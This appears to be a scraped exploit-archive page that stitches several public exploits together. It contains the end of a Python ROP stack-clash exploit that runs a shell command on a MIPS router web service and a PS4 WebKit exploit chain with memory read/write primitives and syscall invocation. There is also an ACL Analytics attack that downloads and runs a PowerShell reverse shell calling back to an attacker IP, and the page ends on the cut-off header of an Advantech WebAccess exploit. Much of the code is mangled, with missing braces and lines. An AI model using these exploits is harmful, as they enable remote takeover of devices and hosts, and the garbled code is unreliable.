shell_code += b’-c\x00′ # (Warning: do not exceed 16 bytes!) [shellcode_start + 0x60] <— c_address

shell_code += b’P’ * (0x70 – len(shell_code)) # offset to simplify string address calculation
shell_code += shellCmd + b’\x00′ # [shellcode_start + 0x70] <— shellCmd_address

return shell_code

def build_payload(binRop, shellCmd):
print(“Building shellcode + ROP chain…”)

ropChain = b”
shell_code = build_shellcode(shellCmd)

# 1) Stack finder gadget (to make stack pivot)
stack_finder = binRop.get_gadgets(“addiu ?a0, ?sp, 0x18; lw ?ra, 0x???(?sp% jr ?ra;”)[0]
0x0040ae04: (ROS 6.38.4)
addiu $a0, $sp, 0x18 <— needed action
lw $ra, 0x5fc($sp) <— jump control [0x5fc, a lot of space for the shellcode!]
lw $s3, 0x5f8($sp)
lw $s2, 0x5f4($sp)
lw $s1, 0x5f0($sp)
lw $s0, 0x5ec($sp)
move $v0, $zero
jr $ra
ropChain += struct.pack(‘>L’, stack_finder.address)
# Action: addiu $a0, $sp, 0x600 + var_5E8 # a0 = stackpointer + 0x18
# Control Jump: jr 0x600 + var_4($sp)
# This gadget (moreover) allows us to reserve 1512 bytes inside the rop chain
# to store the shellcode (beacuse of: jr 0x600 + var_4($sp))
ropChain += b’B’ * 0x18 # 0x600 – 0x5E8 = 0x18 (in the last 16 bytes of this offset the shell code will write the arguments for execve)
ropChain += shell_code # write the shell code in this “big” offset

next_gadget_offset = MyRopper.get_ra_offset(stack_finder) – 0x18 – len(shell_code)
if next_gadget_offset < 0: # check if shell command fits inside this big offset
raise Exception(“Shell command too long! Max len: ” + str(next_gadget_offset + len(shellCmd)) + ” bytes”)

ropChain += b’C’ * next_gadget_offset # offset because of this: 0x600 + var_4($sp)

# 2) Copy a0 in v0 because of next gadget
mov_v0_a0 = binRop.get_gadgets(“lw ?ra, %move ?v0, ?a0;% jr ?ra;”)[0]
0x00414E58: (ROS 6.38.4)
lw $ra, 0x24($sp); <— jump control
lw $s2, 0x20($sp);
lw $s1, 0x1c($sp);
lw $s0, 0x18($sp);
move $v0, $a0; <— needed action
jr $ra;
ropChain += struct.pack(‘>L’, mov_v0_a0.address)
# Gadget Action: move $v0, $a0 # v0 = a0
# Gadget Control: jr 0x28 + var_4($sp)
ropChain += b’D’ * MyRopper.get_ra_offset(mov_v0_a0) # offset because of this: 0x28 + var_4($sp)

# 3) Jump to the stack (start shell code)
jump_v0 = binRop.get_gadgets(“move ?t9, ?v0; jalr ?t9;”)[0]
0x00412540: (ROS 6.38.4)
move $t9, $v0; <— jump control
jalr $t9; <— needed action
ropChain += struct.pack(‘>L’, jump_v0.address)
# Gadget Action: jalr $t9 # jump v0
# Gadget Control: jalr $v0

return ropChain

def stackClash(ip, port, payload):

print(“Opening 2 sockets”)

# 1) Start 2 threads
# open 2 socket so 2 threads are created
s1 = makeSocket(ip, port) # socket 1, thread A
s2 = makeSocket(ip, port) # socket 2, thread B

print(“Stack clash…”)

# 2) Stack Clash
# 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A)
socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)

# 2.2) send some bytes as post data to socket 1 (thread A)
socketSend(s1, b’A’*(SKIP_SPACE – ALIGN_SIZE – ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved

# 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B)
socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned

print(“Sending payload”)

# 3) Send ROP chain and shell code
socketSend(s1, payload)

print(“Starting exploit”)

# 4) Start ROP chain
s2.close() # close socket 2 to return from the function of thread B and start ROP chain


def crash(ip, port):
s = makeSocket(ip, port)
socketSend(s, makeHeader(-1))
socketSend(s, b’A’ * 0x1000)
time.sleep(2.5) # www takes up to 3 seconds to restart

if __name__ == “__main__”:
if len(sys.argv) == 5:
ip = sys.argv[1]
port = int(sys.argv[2])
binary = sys.argv[3]
shellCmd = sys.argv[4]

binRop = MyRopper(binary)

if binRop.get_arch() != ‘MIPSBE’:
raise Exception(“Wrong architecture! You have to pass a mipsbe executable”)

if binRop.contains_string(“pthread_attr_setstacksize”):

payload = build_payload(binRop, shellCmd)

crash(ip, port) # should make stack clash more reliable
stackClash(ip, port, payload)
print(“Usage: ” + sys.argv[0] + ” IP PORT binary shellcommand”)

Sony Playstation 4 (PS4) WebKit Code Execution

<— index.html —>
window.didload = 0;
window.didpost = 0;
window.onload = function() {
window.didload = 1;
if (window.didpost == 1)
window.postExpl = function() {
window.didpost = 1;
if (window.didload == 1)
<script src=”./expl.js”></script>
<script src=”./rop.js”></script>
<pre id=”console”></pre>
<— /index.html —>

<— expl.js —>
function makeid() {
var text = “”;
var possible = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789”;

for (var i = 0; i < 8; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));

return text;

var instancespr = [];

for (var i = 0; i < 4096; i++) {
instancespr[i] = new Uint32Array(1);
instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */

var _dview;

function u2d(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
var dgc = function() {
for (var i = 0; i < 0x100; i++) {
new ArrayBuffer(0x100000);

function int64(low, hi) {
this.low = (low >>> 0);
this.hi = (hi >>> 0);

this.add32inplace = function(val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);

if (new_lo < this.low) {

this.hi = new_hi;
this.low = new_lo;

this.add32 = function(val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);

if (new_lo < this.low) {

return new int64(new_lo, new_hi);

this.sub32 = function(val) {
var new_lo = (((this.low >>> 0) – val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);

if (new_lo > (this.low) & 0xFFFFFFFF) {

return new int64(new_lo, new_hi);

this.sub32inplace = function(val) {
var new_lo = (((this.low >>> 0) – val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);

if (new_lo > (this.low) & 0xFFFFFFFF) {

this.hi = new_hi;
this.low = new_lo;

this.and32 = function(val) {
var new_lo = this.low & val;
var new_hi = this.hi;
return new int64(new_lo, new_hi);

this.and64 = function(vallo, valhi) {
var new_lo = this.low & vallo;
var new_hi = this.hi & valhi;
return new int64(new_lo, new_hi);

this.toString = function(val) {
val = 16;
var lo_str = (this.low >>> 0).toString(val);
var hi_str = (this.hi >>> 0).toString(val);

if (this.hi == 0)
return lo_str;
lo_str = zeroFill(lo_str, 8)

return hi_str + lo_str;

this.toPacked = function() {
return {
hi: this.hi,
low: this.low

this.setPacked = function(pck) {
this.hi = pck.hi;
this.low = pck.low;
return this;

return this;

function zeroFill(number, width) {
width -= number.toString().length;

if (width > 0) {
return new Array(width + (/\./.test(number) ? 2 : 1)).join(‘0’) + number;

return number + “”; // always return a string

var nogc = [];

var fail = function() {
alert.apply(null, arguments);
throw “fail”;

// Target JSObject for overlap
var tgt = {
a: 0,
b: 0,
c: 0,
d: 0

var y = new ImageData(1, 0x4000)
postMessage(“”, “*”, []);

// Spray properties to ensure object is fastmalloc()’d and can be found easily later
var props = {};

for (var i = 0;
(i < (0x4000 / 2));) {
props[i++] = {
value: 0x42424242
props[i++] = {
value: tgt

var foundLeak = undefined;
var foundIndex = 0;
var maxCount = 0x100;

while (foundLeak == undefined && maxCount > 0) {

history.pushState(y, “”);

Object.defineProperties({}, props);

var leak = new Uint32Array(;

for (var i = 0; i < leak.length – 6; i++) {
if (
leak[i] == 0x42424242 &&
leak[i + 0x1] == 0xFFFF0000 &&
leak[i + 0x2] == 0x00000000 &&
leak[i + 0x3] == 0x00000000 &&
leak[i + 0x4] == 0x00000000 &&
leak[i + 0x5] == 0x00000000 &&
leak[i + 0x6] == 0x0000000E &&
leak[i + 0x7] == 0x00000000 &&
leak[i + 0xA] == 0x00000000 &&
leak[i + 0xB] == 0x00000000 &&
leak[i + 0xC] == 0x00000000 &&
leak[i + 0xD] == 0x00000000 &&
leak[i + 0xE] == 0x0000000E &&
leak[i + 0xF] == 0x00000000
) {
foundIndex = i;
foundLeak = leak;

if (!foundLeak) {
failed = true
fail(“Failed to find leak!”)

var firstLeak =, foundIndex, foundIndex + 0x40);
var leakJSVal = new int64(firstLeak[8], firstLeak[9]);

Array.prototype.__defineGetter__(100, () => 1);

var f = document.body.appendChild(document.createElement(‘iframe’));
var a = new f.contentWindow.Array(13.37, 13.37);
var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);

var master = new Uint32Array(0x1000);
var slave = new Uint32Array(0x1000);
var leakval_u32 = new Uint32Array(0x1000);
var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];

// Create fake ArrayBufferView
tgt.a = u2d(2048, 0x1602300);
tgt.b = 0;
tgt.c = leakval_helper;
tgt.d = 0x1337;

var c =, b);
var hax = c[0];
c[0] = 0;

tgt.c = c;

hax[2] = 0;
hax[3] = 0;

Object.defineProperty(Array.prototype, 100, {
get: undefined

tgt.c = leakval_helper;
var butterfly = new int64(hax[2], hax[3]);
butterfly.low += 0x10;

tgt.c = leakval_u32;
var lkv_u32_old = new int64(hax[4], hax[5]);
hax[4] = butterfly.low;
hax[5] = butterfly.hi;
// Setup read/write primitive

tgt.c = master;
hax[4] = leakval_u32[0];
hax[5] = leakval_u32[1];

var addr_to_slavebuf = new int64(master[4], master[5]);
tgt.c = leakval_u32;
hax[4] = lkv_u32_old.low;
hax[5] = lkv_u32_old.hi;

tgt.c = 0;
hax = 0;

var prim = {
write8: function(addr, val) {
master[4] = addr.low;
master[5] = addr.hi;

if (val instanceof int64) {
slave[0] = val.low;
slave[1] = val.hi;
} else {
slave[0] = val;
slave[1] = 0;

master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;

write4: function(addr, val) {
master[4] = addr.low;
master[5] = addr.hi;

slave[0] = val;

master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;

read8: function(addr) {
master[4] = addr.low;
master[5] = addr.hi;

var rtv = new int64(slave[0], slave[1]);

master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;

return rtv;

read4: function(addr) {
master[4] = addr.low;
master[5] = addr.hi;

var rtv = slave[0];

master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;

return rtv;

leakval: function(jsval) {
leakval_helper[0] = jsval;
var rtv = this.read8(butterfly);
this.write8(butterfly, new int64(0x41414141, 0xffff0000));

return rtv;

createval: function(jsval) {
this.write8(butterfly, jsval);
var rt = leakval_helper[0];
this.write8(butterfly, new int64(0x41414141, 0xffff0000));
return rt;

window.primitives = prim;
if (window.postExpl) window.postExpl();
<— /expl.js —>

<— rop.js –>
var p;
var xhr_sync_log = function(str) {
var req = new XMLHttpRequest();‘GET’, “log?” + str, false);
try {
} catch(e){}
var findModuleBaseXHR = function(addr)
var addr_ = addr.add32(0); // copy
addr_.low &= 0xFFFFF000;
xhr_sync_log(“START: ” + addr_);

while (1) {
var vr = p.read4(addr_.add32(0x110-4));
xhr_sync_log(“step” + addr_);
var log = function(x) {
document.getElementById(“console”).innerText += x + “\n”;
var print = function(string) { // like log but html
document.getElementById(“console”).innerHTML += string + “\n”;

var dumpModuleXHR = function(moduleBase) {
var chunk = new ArrayBuffer(0x1000);
var chunk32 = new Uint32Array(chunk);
var chunk8 = new Uint8Array(chunk);
connection = new WebSocket(‘ws://’);
connection.binaryType = “arraybuffer”;
var helo = new Uint32Array(1);
helo[0] = 0x41414141;

var moduleBase_ = moduleBase.add32(0);
connection.onmessage = function() {
try {
for (var i = 0; i < chunk32.length; i++)
var val = p.read4(moduleBase_);
chunk32[i] = val;
} catch (e) {
var get_jmptgt = function(addr)
var z=p.read4(addr) & 0xFFFF;
var y=p.read4(addr.add32(2));
if (z != 0x25ff) return 0;

return addr.add32(y+6);

var gadgetmap_wk = {
“ep”: [0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5D, 0xC3],
“pop rsi”: [0x5E, 0xC3],
“pop rdi”: [0x5F, 0xC3],
“pop rsp”: [0x5c, 0xC3],
“pop rax”: [0x58, 0xC3],
“pop rdx”: [0x5a, 0xC3],
“pop rcx”: [0x59, 0xC3],
“pop rsp”: [0x5c, 0xC3],
“pop rbp”: [0x5d, 0xC3],
“pop r8”: [0x47, 0x58, 0xC3],
“pop r9”: [0x47, 0x59, 0xC3],
“infloop”: [0xEB, 0xFE, 0xc3],
“ret”: [0xC3],
“mov [rdi], rsi”: [0x48, 0x89, 0x37, 0xC3],
“mov [rax], rsi”: [0x48, 0x89, 0x30, 0xC3],
“mov [rdi], rax”: [0x48, 0x89, 0x07, 0xC3],
“mov rxa, rdi”: [0x48, 0x89, 0xF8, 0xC3]
var slowpath_jop = [0x48, 0x8B, 0x7F, 0x48, 0x48, 0x8B, 0x07, 0x48, 0x8B, 0x40, 0x30, 0xFF, 0xE0];

var gadgets;
window.stage2 = function() {
try {
} catch (e) {
var gadgetcache = {“ret”:60,”ep”:173,”pop rbp”:182,”pop rax”:17781,”mov rax, rdi”:23248,”pop r8″:100517,”pop rsp”:128173,”mov [rdi], rsi”:150754,”pop rcx”:169041,”pop rdi”:239071,”pop rsi”:597265,”mov [rdi], rax”:782172,”jop”:813600,”pop rdx”:1092690,”mov [rax], rsi”:2484823,”pop r9″:21430095,”infloop”:22604906}, gadgetoffs = {};
window.stage2_ = function() {
p = window.prim;
print (“[+] exploit succeeded”);
print(“webkit exploit result: ” + p.leakval(0x41414141));
print (“— welcome to stage2 —“);
p.leakfunc = function(func)
var fptr_store = p.leakval(func);
return (p.read8(fptr_store.add32(0x18))).add32(0x40);
gadgetconn = 0;
if (!gadgetcache)
gadgetconn = new WebSocket(‘ws://’);

var parseFloatStore = p.leakfunc(parseFloat);
var parseFloatPtr = p.read8(parseFloatStore);
print(“parseFloat at: 0x” + parseFloatPtr);
var webKitBase = p.read8(parseFloatStore);
window.webKitBase = webKitBase;

webKitBase.low &= 0xfffff000;

print(“libwebkit base at: 0x” + webKitBase);

var o2wk = function(o)
return webKitBase.add32(o);

gadgets = {
“stack_chk_fail”: o2wk(0xc8),
“memset”: o2wk(0x228),
“setjmp”: o2wk(0x14f8)
var libSceLibcInternalBase = p.read8(get_jmptgt(gadgets.memset));
libSceLibcInternalBase.low &= ~0x3FFF;
print(“libSceLibcInternal: 0x” + libSceLibcInternalBase.toString());
window.libSceLibcInternalBase = libSceLibcInternalBase;
var libKernelBase = p.read8(get_jmptgt(gadgets.stack_chk_fail));
window.libKernelBase = libKernelBase;
libKernelBase.low &= 0xfffff000;
print(“libkernel_web base at: 0x” + libKernelBase);

var o2lk = function(o)
return libKernelBase.add32(o);
window.o2lk = o2lk;

var wkview = new Uint8Array(0x1000);
var wkstr = p.leakval(wkview).add32(0x10);
var orig_wkview_buf = p.read8(wkstr);

p.write8(wkstr, webKitBase);
p.write4(wkstr.add32(8), 0x367c000);

var gadgets_to_find = 0;
var gadgetnames = [];
for (var gadgetname in gadgetmap_wk) {
if (gadgetmap_wk.hasOwnProperty(gadgetname)) {
log(“finding gadgets”);

gadgets_to_find++; // slowpath_jop

var findgadget = function(donecb) {
if (gadgetcache)
log(“using cached gadgets”);

for (var gadgetname in gadgetcache) {
if (gadgetcache.hasOwnProperty(gadgetname)) {
gadgets[gadgetname] = o2wk(gadgetcache[gadgetname]);

} else {
for (var i=0; i < wkview.length; i++)
if (wkview[i] == 0xc3)
for (var nl=0; nl < gadgetnames.length; nl++)
var found = 1;
if (!gadgetnames[nl]) continue;
var gadgetbytes = gadgetmap_wk[gadgetnames[nl]];
for (var compareidx = 0; compareidx < gadgetbytes.length; compareidx++)
if (gadgetbytes[compareidx] != wkview[i – compareidx]){
found = 0;
if (!found) continue;
gadgets[gadgetnames[nl]] = o2wk(i – gadgetbytes.length + 1);
gadgetoffs[gadgetnames[nl]] = i – gadgetbytes.length + 1;
delete gadgetnames[nl];
} else if (wkview[i] == 0xe0 && wkview[i-1] == 0xff && slowpath_jop)
var found = 1;
for (var compareidx = 0; compareidx < slowpath_jop.length; compareidx++)
if (slowpath_jop[compareidx] != wkview[i – compareidx])
found = 0;
if (!found) continue;
gadgets[“jop”] = o2wk(i – slowpath_jop.length + 1);
gadgetoffs[“jop”] = i – slowpath_jop.length + 1;
slowpath_jop = 0;

if (!gadgets_to_find) break;
if (!gadgets_to_find && !slowpath_jop) {
log(“found gadgets”);
if (gadgetconn)
gadgetconn.onopen = function(e){
setTimeout(donecb, 50);
} else {
log(“missing gadgets: “);
for (var nl in gadgetnames) {
log(” – ” + gadgetnames[nl]);
if(slowpath_jop) log(” – jop gadget”);
var hold1;
var hold2;
var holdz;
var holdz1;

while (1)
hold1 = {a:0, b:0, c:0, d:0};
hold2 = {a:0, b:0, c:0, d:0};
holdz1 = p.leakval(hold2);
holdz = p.leakval(hold1);
if (holdz.low – 0x30 == holdz1.low) break;

var pushframe = [];
pushframe.length = 0x80;
var funcbuf;

var launch_chain = function(chain)

var stackPointer = 0;
var stackCookie = 0;
var orig_reenter_rip = 0;

var reenter_help = {length: {valueOf: function(){
orig_reenter_rip = p.read8(stackPointer);
stackCookie = p.read8(stackPointer.add32(8));
var returnToFrame = stackPointer;

var ocnt = chain.count;
chain.push_write8(stackPointer, orig_reenter_rip);
chain.push_write8(stackPointer.add32(8), stackCookie);

if (chain.runtime) returnToFrame=chain.runtime(stackPointer);

chain.push(gadgets[“pop rsp”]); // pop rsp
chain.push(returnToFrame); // -> back to the trap life
chain.count = ocnt;

p.write8(stackPointer, (gadgets[“pop rsp”])); // pop rsp
p.write8(stackPointer.add32(8), chain.ropframeptr); // -> rop frame

var funcbuf32 = new Uint32Array(0x100);
funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10));

p.write8(funcbuf.add32(0x30), gadgets[“setjmp”]);
p.write8(funcbuf.add32(0x80), gadgets[“jop”]);
p.write8(parseFloatStore, gadgets[“jop”]);
var orig_hold = p.read8(holdz1);
var orig_hold48 = p.read8(holdz1.add32(0x48));

p.write8(holdz1, funcbuf.add32(0x50));
p.write8(holdz1.add32(0x48), funcbuf);
p.write8(holdz1, orig_hold);
p.write8(holdz1.add32(0x48), orig_hold48);

stackPointer = p.read8(funcbuf.add32(0x10));
return p.leakval(rtv);

gadgets = gadgets;
p.loadchain = launch_chain;
window.RopChain = function () {
this.ropframe = new Uint32Array(0x10000);
this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x10));
this.count = 0;
this.clear = function() {
this.count = 0;
this.runtime = undefined;
for (var i = 0; i < 0x1000/8; i++)
p.write8(this.ropframeptr.add32(i*8), 0);
this.pushSymbolic = function() {
return this.count-1;
this.finalizeSymbolic = function(idx, val) {
p.write8(this.ropframeptr.add32(idx*8), val);
this.push = function(val) {
this.finalizeSymbolic(this.pushSymbolic(), val);
this.push_write8 = function(where, what)
this.push(gadgets[“pop rdi”]); // pop rdi
this.push(where); // where
this.push(gadgets[“pop rsi”]); // pop rsi
this.push(what); // what
this.push(gadgets[“mov [rdi], rsi”]); // perform write
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
this.push(gadgets[“pop rdi”]); // pop rdi
this.push(rdi); // what
this.push(gadgets[“pop rsi”]); // pop rsi
this.push(rsi); // what
this.push(gadgets[“pop rdx”]); // pop rdx
this.push(rdx); // what
this.push(gadgets[“pop rcx”]); // pop r10
this.push(rcx); // what
this.push(gadgets[“pop r8”]); // pop r8
this.push(r8); // what
this.push(gadgets[“pop r9”]); // pop r9
this.push(r9); // what
this.push(rip); // jmp
return this;
} = function() {
var retv = p.loadchain(this, this.notimes);
return retv;

return this;

var RopChain = window.RopChain();
window.syscallnames = {“exit”: 1,”fork”: 2,”read”: 3,”write”: 4,”open”: 5,”close”: 6,”wait4″: 7,”unlink”: 10,”chdir”: 12,”chmod”: 15,”getpid”: 20,”setuid”: 23,”getuid”: 24,”geteuid”: 25,”recvmsg”: 27,”sendmsg”: 28,”recvfrom”: 29,”accept”: 30,”getpeername”: 31,”getsockname”: 32,”access”: 33,”chflags”: 34,”fchflags”: 35,”sync”: 36,”kill”: 37,”getppid”: 39,”dup”: 41,”pipe”: 42,”getegid”: 43,”profil”: 44,”getgid”: 47,”getlogin”: 49,”setlogin”: 50,”sigaltstack”: 53,”ioctl”: 54,”reboot”: 55,”revoke”: 56,”execve”: 59,”execve”: 59,”msync”: 65,”munmap”: 73,”mprotect”: 74,”madvise”: 75,”mincore”: 78,”getgroups”: 79,”setgroups”: 80,”setitimer”: 83,”getitimer”: 86,”getdtablesize”: 89,”dup2″: 90,”fcntl”: 92,”select”: 93,”fsync”: 95,”setpriority”: 96,”socket”: 97,”connect”: 98,”accept”: 99,”getpriority”: 100,”send”: 101,”recv”: 102,”bind”: 104,”setsockopt”: 105,”listen”: 106,”recvmsg”: 113,”sendmsg”: 114,”gettimeofday”: 116,”getrusage”: 117,”getsockopt”: 118,”readv”: 120,”writev”: 121,”settimeofday”: 122,”fchmod”: 124,”recvfrom”: 125,”setreuid”: 126,”setregid”: 127,”rename”: 128,”flock”: 131,”sendto”: 133,”shutdown”: 134,”socketpair”: 135,”mkdir”: 136,”rmdir”: 137,”utimes”: 138,”adjtime”: 140,”getpeername”: 141,”setsid”: 147,”sysarch”: 165,”setegid”: 182,”seteuid”: 183,”stat”: 188,”fstat”: 189,”lstat”: 190,”pathconf”: 191,”fpathconf”: 192,”getrlimit”: 194,”setrlimit”: 195,”getdirentries”: 196,”__sysctl”: 202,”mlock”: 203,”munlock”: 204,”futimes”: 206,”poll”: 209,”clock_gettime”: 232,”clock_settime”: 233,”clock_getres”: 234,”ktimer_create”: 235,”ktimer_delete”: 236,”ktimer_settime”: 237,”ktimer_gettime”: 238,”ktimer_getoverrun”: 239,”nanosleep”: 240,”rfork”: 251,”issetugid”: 253,”getdents”: 272,”preadv”: 289,”pwritev”: 290,”getsid”: 310,”aio_suspend”: 315,”mlockall”: 324,”munlockall”: 325,”sched_setparam”: 327,”sched_getparam”: 328,”sched_setscheduler”: 329,”sched_getscheduler”: 330,”sched_yield”: 331,”sched_get_priority_max”: 332,”sched_get_priority_min”: 333,”sched_rr_get_interval”: 334,”sigprocmask”: 340,”sigprocmask”: 340,”sigsuspend”: 341,”sigpending”: 343,”sigtimedwait”: 345,”sigwaitinfo”: 346,”kqueue”: 362,”kevent”: 363,”uuidgen”: 392,”sendfile”: 393,”fstatfs”: 397,”ksem_close”: 400,”ksem_post”: 401,”ksem_wait”: 402,”ksem_trywait”: 403,”ksem_init”: 404,”ksem_open”: 405,”ksem_unlink”: 406,”ksem_getvalue”: 407,”ksem_destroy”: 408,”sigaction”: 416,”sigreturn”: 417,”getcontext”: 421,”setcontext”: 422,”swapcontext”: 423,”sigwait”: 429,”thr_create”: 430,”thr_exit”: 431,”thr_self”: 432,”thr_kill”: 433,”ksem_timedwait”: 441,”thr_suspend”: 442,”thr_wake”: 443,”kldunloadf”: 444,”_umtx_op”: 454,”_umtx_op”: 454,”thr_new”: 455,”sigqueue”: 456,”thr_set_name”: 464,”rtprio_thread”: 466,”pread”: 475,”pwrite”: 476,”mmap”: 477,”lseek”: 478,”truncate”: 479,”ftruncate”: 480,”thr_kill2″: 481,”shm_open”: 482,”shm_unlink”: 483,”cpuset_getid”: 486,”cpuset_getaffinity”: 487,”cpuset_setaffinity”: 488,”openat”: 499,”pselect”: 522,”wait6″: 532,”cap_rights_limit”: 533,”cap_ioctls_limit”: 534,”cap_ioctls_get”: 535,”cap_fcntls_limit”: 536,”bindat”: 538,”connectat”: 539,”chflagsat”: 540,”accept4″: 541,”pipe2″: 542,”aio_mlock”: 543,”procctl”: 544,”ppoll”: 545,”futimens”: 546,”utimensat”: 547,”numa_getaffinity”: 548,”numa_setaffinity”: 549}

function swapkeyval(json){
var ret = {};
for(var key in json){
if (json.hasOwnProperty(key)) {
ret[json[key]] = key;
return ret;

window.nameforsyscall = swapkeyval(window.syscallnames);

window.syscalls = {};

log(“— welcome to stage3 —“);

var kview = new Uint8Array(0x1000);
var kstr = p.leakval(kview).add32(0x10);
var orig_kview_buf = p.read8(kstr);

p.write8(kstr, window.libKernelBase);
p.write4(kstr.add32(8), 0x40000); // high enough lel

var countbytes;
for (var i=0; i < 0x40000; i++)
if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
countbytes = i;
p.write4(kstr.add32(8), countbytes + 32);

var dview32 = new Uint32Array(1);
var dview8 = new Uint8Array(dview32.buffer);
for (var i=0; i < countbytes; i++)
if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
dview8[0] = kview[i+3];
dview8[1] = kview[i+4];
dview8[2] = kview[i+5];
dview8[3] = kview[i+6];
var syscallno = dview32[0];
window.syscalls[syscallno] = window.libKernelBase.add32(i);
var chain = new window.RopChain;
var returnvalue;
p.fcall_ = function(rip, rdi, rsi, rdx, rcx, r8, r9) {

chain.notimes = this.next_notime;
this.next_notime = 1;

chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);

chain.push(window.gadgets[“pop rdi”]); // pop rdi
chain.push(chain.ropframeptr.add32(0x3ff8)); // where
chain.push(window.gadgets[“mov [rdi], rax”]); // rdi = rax

chain.push(window.gadgets[“pop rax”]); // pop rax
chain.push(p.leakval(0x41414242)); // where

if ( != 0x41414242) throw new Error(“unexpected rop behaviour”);
returnvalue = p.read8(chain.ropframeptr.add32(0x3ff8)); //p.read8(chain.ropframeptr.add32(0x3ff8));
p.fcall = function()
var rv=p.fcall_.apply(this,arguments);
return returnvalue;
p.readstr = function(addr){
var addr_ = addr.add32(0); // copy
var rd = p.read4(addr_);
var buf = “”;
while (rd & 0xFF)
buf += String.fromCharCode(rd & 0xFF);
rd = p.read4(addr_);
return buf;

p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9)
if (typeof sysc == “string”) {
sysc = window.syscallnames[sysc];
if (typeof sysc != “number”) {
throw new Error(“invalid syscall”);

var off = window.syscalls[sysc];
if (off == undefined)
throw new Error(“invalid syscall”);

return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9);
p.sptr = function(str) {
var bufView = new Uint8Array(str.length+1);
for (var i=0; i<str.length; i++) {
bufView[i] = str.charCodeAt(i) & 0xFF;
return p.read8(p.leakval(bufView).add32(0x10));

log(“loaded sycalls”);

var rtv1 = p.fcall(window.gadgets[“mov rax, rdi”], 0x41414141);
var pid = p.syscall(“getpid”);
var uid = p.syscall(“getuid”);
print(“all good. fcall test retval = ” + rtv1 + ” – uid: ” + uid + ” – pid: ” + pid);

sc = document.createElement(“script”);
<— /rop.js –>

ACL Analytics Arbitrary Code Execution

# Exploit Title: Arbitrary Code Execution
# Google Dork: N/A
# Date: 03-07-2018
# Exploit Author: Clutchisback1
# Vendor Homepage:
# Software Link:
# Version: 11.x –
# Tested on: Windows 7 pro SP1 x86

# Clutchisback1 /\/\/\ I’ll get OSCP one day! /\/\/\
# Welcome to A_C_SHELLLLLL!!
# All Glory to Yeshua
# Shoutouts to my Menotor: Ch33z_plz for teaching me everyday
# and my Offsec Mentor: T0w3ntum introducing me to netsec!
# (I have consent for those mentions :D)

EXECUTE ‘bitsadmin /transfer myDownloadJob /download /priority high c:\temp\shell.ps1’

EXECUTE “powershell C:\temp\shell.ps1”

Please use the script below to create a reverse shell payload that will be downloaded form your attacking machine and uploaded to the target host by bitsadmin and placed in the target c:\temp directory and saved as shell.ps1.
The second `Execute` command will execute the stored payload

Powershell Reverse Shell was downloaded from here:

$socket = new-object System.Net.Sockets.TcpClient(‘’, 443);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
$read = $null;
$res = “”
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
$out = $encoding.GetString($buffer, 0, $read).Replace(“`r`n”,””).Replace(“`n”,””);
$args = “”;
if($out.IndexOf(‘ ‘) -gt -1){
$args = $out.substring($out.IndexOf(‘ ‘)+1);
$out = $out.substring(0,$out.IndexOf(‘ ‘));
if($args.split(‘ ‘).length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = “cmd.exe”
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = “/c $out $args”
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
$res = (&”$out” “$args”) | out-string;
$res = (&”$out”) | out-string;
if($res -ne $null){
}While (!$out.equals(“exit”))

Advantech WebAccess Directory Traversal / Remote Code Execution


# Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability
# Date: 03-11-2018
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage:
# Software Link:
# Version: Advantech WebAccess 8.2-2017.08.18
